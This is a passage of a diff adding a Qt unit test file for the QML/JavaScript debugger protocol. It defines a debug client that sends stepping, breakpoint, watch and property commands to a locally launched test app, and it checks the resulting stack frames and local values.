+ void setWatchExpressions(const QStringList &watchExpressions);
+ void stepOver();
+ void stepInto();
+ void interrupt();
+ void stepOut();
+ void continueExecution();
+ void expandObjectById(const QByteArray& objectName, quint64 objectId);
+ void setProperty(const QByteArray& id, qint64 objectId, const QString &property, const QString &value);
+ void activateFrame(int frameId);
+ void startCoverageCompleted();
+ void startCoverageRun();
+
+ // info from last exec
+ JSAgentWatchData exec_data;
+ QByteArray exec_iname;
+
+ QByteArray object_name;
+ QList<JSAgentWatchData> object_children;
+
+ int frame_id;
+
+ // info from last stop
+ QList<JSAgentStackData> break_stackFrames;
+ QList<JSAgentWatchData> break_watches;
+ QList<JSAgentWatchData> break_locals;
+ bool break_becauseOfException;
+ QString break_error;
+
+signals:
+ void statusHasChanged();
+
+ void pong();
+ void result();
+ void stopped();
+ void expanded();
+ void watchTriggered();
+ void coverageScriptLoaded();
+ void coverageFuncEntered();
+ void coverageFuncExited();
+ void coveragePosChanged();
+ void coverageCompleted();
+
+protected:
+ virtual void statusChanged(Status status);
+ virtual void messageReceived(const QByteArray &data);
+
+private:
+ int m_ping;
+};
+
+class QJSDebugProcess : public QObject
+{
+ Q_OBJECT
+public:
+ QJSDebugProcess();
+ ~QJSDebugProcess();
+
+ void start(const QStringList &arguments);
+ bool waitForStarted();
+
+private slots:
+ void processAppOutput();
+
+private:
+ QProcess m_process;
+ QTimer m_timer;
+ QEventLoop m_eventLoop;
+ bool m_started;
+};
+
+class tst_QDeclarativeDebugJS : public QObject
+{
+ Q_OBJECT
+private:
+ QDeclarativeDebugConnection *m_conn;
+ QDeclarativeEngine *m_engine;
+ QJSDebugClient *m_client;
+
+private slots:
+ void pingPong();
+ void exec();
+ void setBreakpoint();
+ void stepOver();
+ void stepInto();
+ void interrupt();
+ void stepOut();
+ void continueExecution();
+ void expandObject();
+ void setProperty();
+ void setProperty2();
+ void watchExpression();
+ void activateFrame();
+ void setBreakpoint2();
+ void stepOver2();
+ void stepInto2();
+ void interrupt2();
+ void stepOut2();
+ void continueExecution2();
+ void expandObject2();
+ void setProperty3();
+ void setProperty4();
+ void activateFrame2();
+ void verifyQMLOptimizerDisabled();
+ void testCoverageCompleted();
+ void testCoverageRun();
+
+};
+
+
+void QJSDebugClient::ping()
+{
+ m_ping++;
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "PING";
+ rs << cmd;
+ rs << m_ping;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::exec(const QByteArray &debuggerId, const QString &expr)
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "EXEC";
+ rs << cmd;
+ rs << debuggerId;
+ rs << expr;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::setBreakpoints(const QSet<JSAgentBreakpointData> &breakpoints)
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "BREAKPOINTS";
+ rs << cmd
+ << breakpoints;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::setWatchExpressions(const QStringList &watchExpressions)
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "WATCH_EXPRESSIONS";
+ rs << cmd
+ << watchExpressions;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::stepOver()
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "STEPOVER";
+ rs << cmd;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::stepInto()
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "STEPINTO";
+ rs << cmd;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::interrupt()
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "INTERRUPT";
+ rs << cmd;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::stepOut()
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "STEPOUT";
+ rs << cmd;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::continueExecution()
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "CONTINUE";
+ rs << cmd;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::expandObjectById(const QByteArray& objectName, quint64 objectId)
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "EXPAND";
+ rs << cmd
+ << objectName
+ << objectId;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::setProperty(const QByteArray& id, qint64 objectId, const QString &property, const QString &value)
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "SET_PROPERTY";
+ rs << cmd
+ << id
+ << objectId
+ << property
+ << value;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::activateFrame(int frameId)
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "ACTIVATE_FRAME";
+ rs << cmd
+ << frameId;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::startCoverageRun()
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "COVERAGE";
+ bool enabled = true;
+ rs << cmd
+ << enabled;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::startCoverageCompleted()
+{
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ QByteArray cmd = "COVERAGE";
+ bool enabled = false;
+ rs << cmd
+ << enabled;
+ sendMessage(reply);
+}
+
+void QJSDebugClient::statusChanged(Status /*status*/)
+{
+ emit statusHasChanged();
+}
+
+void QJSDebugClient::messageReceived(const QByteArray &data)
+{
+ QByteArray rwData = data;
+ QDataStream stream(&rwData, QIODevice::ReadOnly);
+
+ QByteArray command;
+ stream >> command;
+
+ if (command == "STOPPED") {
+ stream >> break_stackFrames >> break_watches >> break_locals >> break_becauseOfException >> break_error;
+ if (!break_becauseOfException) {
+ break_error.clear();
+ }
+ emit stopped();
+ } else if (command == "RESULT") {
+ stream >> exec_iname;
+ stream >> exec_data;
+ emit result();
+ } else if (command == "EXPANDED") {
+ stream >> object_name >> object_children;
+ emit expanded();
+ } else if (command == "LOCALS") {
+ stream >> frame_id >> break_locals;
+ if (!stream.atEnd()) { // compatibility with jsdebuggeragent from 2.1, 2.2
+ stream >> break_watches;
+ }
+ emit watchTriggered();
+ } else if (command == "PONG") {
+ int ping;
+ stream >> ping;
+ QCOMPARE(ping, m_ping);
+ emit pong();
+ } else if (command == "COVERAGE") {
+ qint64 time;
+ int messageType;
+ qint64 scriptId;
+ QString program;
+ QString fileName;
+ int baseLineNumber;
+ int lineNumber;
+ int columnNumber;
+ QString returnValue;
+
+ stream >> time >> messageType >> scriptId >> program >> fileName >> baseLineNumber
+ >> lineNumber >> columnNumber >> returnValue;
+ if (messageType == CoverageComplete) {
+ emit coverageCompleted();
+ } else if (messageType == CoverageScriptLoad) {
+ emit coverageScriptLoaded();
+ } else if (messageType == CoveragePosChange) {
+ emit coveragePosChanged();
+ } else if (messageType == CoverageFuncEntry) {
+ emit coverageFuncEntered();
+ } else if (messageType == CoverageFuncExit) {
+ emit coverageFuncExited();
+ }
+ } else {
+ QFAIL("Unknown message :" + command);
+ }
+ QVERIFY(stream.atEnd());
+}
+
+QJSDebugProcess::QJSDebugProcess()
+ : m_started(false)
+{
+ m_process.setProcessChannelMode(QProcess::MergedChannels);
+ connect(&m_process, SIGNAL(readyReadStandardOutput()), this, SLOT(processAppOutput()));
+ connect(&m_timer, SIGNAL(timeout()), &m_eventLoop, SLOT(quit()));
+ m_timer.setSingleShot(true);
+ m_timer.setInterval(5000);
+ QStringList environment = QProcess::systemEnvironment();
+ environment.append("QML_DISABLE_OPTIMIZER=1");
+ m_process.setEnvironment(environment);
+}
+
+QJSDebugProcess::~QJSDebugProcess()
+{
+ if (m_process.state() != QProcess::NotRunning) {
+ m_process.kill();
+ m_process.waitForFinished(5000);
+ }
+}
+
+void QJSDebugProcess::start(const QStringList &arguments)
+{
+ QString currentDir = QFileInfo(__FILE__).absoluteDir().absolutePath();
+ m_process.start(currentDir + "/app/app", arguments);
+ m_timer.start();
+}
+
+bool QJSDebugProcess::waitForStarted()
+{
+ m_eventLoop.exec(QEventLoop::ExcludeUserInputEvents);
+
+ return m_started;
+}
+
+void QJSDebugProcess::processAppOutput()
+{
+ const QString appOutput = m_process.readAll();
+ static QRegExp newline("[\n\r]{1,2}");
+ QStringList lines = appOutput.split(newline);
+ foreach (const QString &line, lines) {
+ if (line.isEmpty())
+ continue;
+ if (line.startsWith("Qml debugging is enabled")) // ignore
+ continue;
+ if (line.startsWith("QDeclarativeDebugServer:")) {
+ if (line.contains("Waiting for connection ")) {
+ m_started = true;
+ m_eventLoop.quit();
+ continue;
+ }
+ if (line.contains("Connection established")) {
+ continue;
+ }
+ }
+ qDebug() << line;
+ }
+}
+
+inline QString TEST_FILE(const QString &filename)
+{
+ QFileInfo fileInfo(__FILE__);
+ return fileInfo.absoluteDir().filePath("data/" + filename);
+}
+
+void tst_QDeclarativeDebugJS::pingPong()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QJSDebugClient client(&connection);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ client.ping();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(pong())));
+}
+
+void tst_QDeclarativeDebugJS::exec()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QJSDebugClient client(&connection);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ // Evaluate script without context
+ client.exec("queryid", "1+1");
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(result())));
+ QCOMPARE(client.exec_iname, QByteArray("queryid"));
+ QCOMPARE(client.exec_data.exp, QByteArray("1+1"));
+ QCOMPARE(client.exec_data.name, QByteArray("1+1"));
+ QCOMPARE(client.exec_data.hasChildren, false);
+ QCOMPARE(client.exec_data.type, QByteArray("Number"));
+ QCOMPARE(client.exec_data.value, QByteArray("2"));
+
+ // TODO: Test access to context after breakpoint is hit
+}
+
+
+void tst_QDeclarativeDebugJS::setBreakpoint()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 11;
+
+ //TEST LINE
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ JSAgentStackData data = client.break_stackFrames.at(0);
+ QCOMPARE(data.fileUrl, bp1.fileUrl);
+ QCOMPARE(data.lineNumber, bp1.lineNumber);
+
+}
+
+void tst_QDeclarativeDebugJS::stepOver()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 11;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.stepOver();
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ JSAgentStackData data = client.break_stackFrames.at(0);
+ QCOMPARE(data.fileUrl, bp1.fileUrl);
+ QCOMPARE(data.lineNumber, bp1.lineNumber +1);
+}
+
+void tst_QDeclarativeDebugJS::stepInto()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 12;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.stepInto();
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ QByteArray functionName("functionInScript");
+ JSAgentStackData data = client.break_stackFrames.at(0);
+ QCOMPARE(data.functionName, functionName);
+ QCOMPARE(data.fileUrl, QByteArray(QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded()));
+}
+
+void tst_QDeclarativeDebugJS::interrupt()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 12;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.interrupt();
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ QByteArray functionName("functionInScript");
+ JSAgentStackData data = client.break_stackFrames.at(0);
+ QCOMPARE(data.functionName, functionName);
+ QCOMPARE(data.fileUrl, QByteArray(QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded()));
+}
+
+void tst_QDeclarativeDebugJS::stepOut()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1,bp2;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 12;
+
+ bp2.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp2.lineNumber = 13;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1 << bp2);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.stepInto();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.stepOut();
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+ JSAgentStackData data = client.break_stackFrames.at(0);
+
+ QCOMPARE(data.fileUrl, bp2.fileUrl);
+ QCOMPARE(data.lineNumber, bp2.lineNumber);
+
+}
+
+void tst_QDeclarativeDebugJS::continueExecution()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1, bp2;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 11;
+
+ bp2.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp2.lineNumber = 13;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1 << bp2);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.continueExecution();
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ JSAgentStackData data = client.break_stackFrames.at(0);
+ QCOMPARE(data.fileUrl, bp2.fileUrl);
+ QCOMPARE(data.lineNumber, bp2.lineNumber);
+}
+
+void tst_QDeclarativeDebugJS::expandObject()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 17;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ foreach ( JSAgentWatchData data, client.break_locals)
+ {
+ if( data.name == "details")
+ {
+ //TEST LINE
+ client.expandObjectById(data.name,data.objectId);
+ }
+ }
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(expanded())));
+ QCOMPARE(client.object_name,QByteArray("details"));
+ QCOMPARE(client.object_children.at(0).name,QByteArray("category"));
+ QCOMPARE(client.object_children.at(0).type,QByteArray("String"));
+ QCOMPARE(client.object_children.at(1).name,QByteArray("names"));
+ QCOMPARE(client.object_children.at(1).type,QByteArray("Array"));
+ QCOMPARE(client.object_children.at(2).name,QByteArray("aliases"));
+ QCOMPARE(client.object_children.at(2).type,QByteArray("Array"));
+
+}
+
+void tst_QDeclarativeDebugJS::setProperty()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1, bp2;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 17;
+ bp2.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp2.lineNumber = 18;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1 << bp2);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ quint64 objectId;
+ QByteArray objectName;
+
+ foreach ( JSAgentWatchData data, client.break_locals)
+ {
+ if( data.name == "details")
+ {
+ objectId = data.objectId;
+ objectName = data.name;
+ //TEST LINE
+ client.setProperty(data.name, data.objectId, "total", "names.length");
+ }
+ }
+
+ client.continueExecution();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+ client.expandObjectById(objectName,objectId);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(expanded())));
+
+ QCOMPARE(client.object_name,QByteArray("details"));
+ QCOMPARE(client.object_children.at(0).name,QByteArray("category"));
+ QCOMPARE(client.object_children.at(0).type,QByteArray("String"));
+ QCOMPARE(client.object_children.at(0).value,QByteArray("Superheroes"));
+ QCOMPARE(client.object_children.at(1).name,QByteArray("names"));
+ QCOMPARE(client.object_children.at(1).type,QByteArray("Array"));
+ QCOMPARE(client.object_children.at(2).name,QByteArray("aliases"));
+ QCOMPARE(client.object_children.at(2).type,QByteArray("Array"));
+ QCOMPARE(client.object_children.at(3).name,QByteArray("total"));
+ QCOMPARE(client.object_children.at(3).type,QByteArray("Number"));
+ // foreach ( JSAgentWatchData data, client.object_children)
+ // {
+ // qDebug() << data.name << data.type << data.value;
+ // }
+}
+
+void tst_QDeclarativeDebugJS::setProperty2()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1, bp2;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 17;
+ bp2.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp2.lineNumber = 18;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1 << bp2);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ quint64 objectId;
+ QByteArray objectName;
+
+ foreach ( JSAgentWatchData data, client.break_locals)
+ {
+ if( data.name == "details")
+ {
+ objectId = data.objectId;
+ objectName = data.name;
+ //TEST LINE
+ client.setProperty(data.name, data.objectId, "category", data.name + ".category = 'comic characters'");
+ }
+ }
+
+ client.continueExecution();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+ client.expandObjectById(objectName,objectId);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(expanded())));
+
+ QCOMPARE(client.object_name,QByteArray("details"));
+ QCOMPARE(client.object_children.at(0).name,QByteArray("category"));
+ QCOMPARE(client.object_children.at(0).type,QByteArray("String"));
+ QCOMPARE(client.object_children.at(0).value,QByteArray("comic characters"));
+ QCOMPARE(client.object_children.at(1).name,QByteArray("names"));
+ QCOMPARE(client.object_children.at(1).type,QByteArray("Array"));
+ QCOMPARE(client.object_children.at(2).name,QByteArray("aliases"));
+ QCOMPARE(client.object_children.at(2).type,QByteArray("Array"));
+
+ // foreach ( JSAgentWatchData data, client.object_children)
+ // {
+ // qDebug() << data.name << data.type << data.value;
+ // }
+}
+
+void tst_QDeclarativeDebugJS::watchExpression()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ QByteArray watchExpression("root.result = 20");
+ QStringList watchList;
+ watchList.append(QString(watchExpression));
+
+ //TEST LINE
+ client.setWatchExpressions(watchList);
+
+ JSAgentBreakpointData bp1;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.qml")).toEncoded();
+ bp1.lineNumber = 11;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ JSAgentWatchData data = client.break_watches.at(0);
+ QCOMPARE(data.exp, watchExpression);
+ QCOMPARE(data.value.toInt(), 20);
+ QCOMPARE(data.type, QByteArray("Number"));
+}
+
+void tst_QDeclarativeDebugJS::activateFrame()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
+ QDeclarativeDebugConnection connection;
+ QJSDebugClient client(&connection);
+
+ connection.connectToHost("127.0.0.1", 3771);
+ QVERIFY(connection.waitForConnected());
+
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ if (client.status() == QJSDebugClient::Unavailable)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(statusHasChanged())));
+ QCOMPARE(client.status(), QJSDebugClient::Enabled);
+
+ JSAgentBreakpointData bp1, bp2;
+ bp1.fileUrl = QUrl::fromLocalFile(TEST_FILE("backtrace1.js")).toEncoded();
+ bp1.lineNumber = 3;
+
+ client.setBreakpoints(QSet<JSAgentBreakpointData>() << bp1);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ client.stepInto();
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(stopped())));
+
+ //TEST LINE
+ client.activateFrame(2);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(&client, SIGNAL(watchTriggered())));
+
+ QCOMPARE(client.break_locals.at(1).name,QByteArray("names"));
+ QCOMPARE(client.break_locals.at(1).type,QByteArray("Array"));
+ QCOMPARE(client.break_locals.at(2).name,QByteArray("a"));
+ QCOMPARE(client.break_locals.at(2).type,QByteArray("Number"));
+ QCOMPARE(client.break_locals.at(2).value,QByteArray("4"));
+ QCOMPARE(client.break_locals.at(3).name,QByteArray("b"));
+ QCOMPARE(client.break_locals.at(3).type,QByteArray("Number"));
+ QCOMPARE(client.break_locals.at(3).value,QByteArray("5"));
+
+ // foreach ( JSAgentWatchData data, client.break_locals)
+ // {
+ // qDebug() << data.name << data.type << data.value;
+ // }
+
+}
+
+void tst_QDeclarativeDebugJS::setBreakpoint2()
+{
+ QJSDebugProcess process;
+ process.start(QStringList() << "-qmljsdebugger=port:3771,block" << TEST_FILE("backtrace1.qml"));
+ QVERIFY(process.waitForStarted());
+
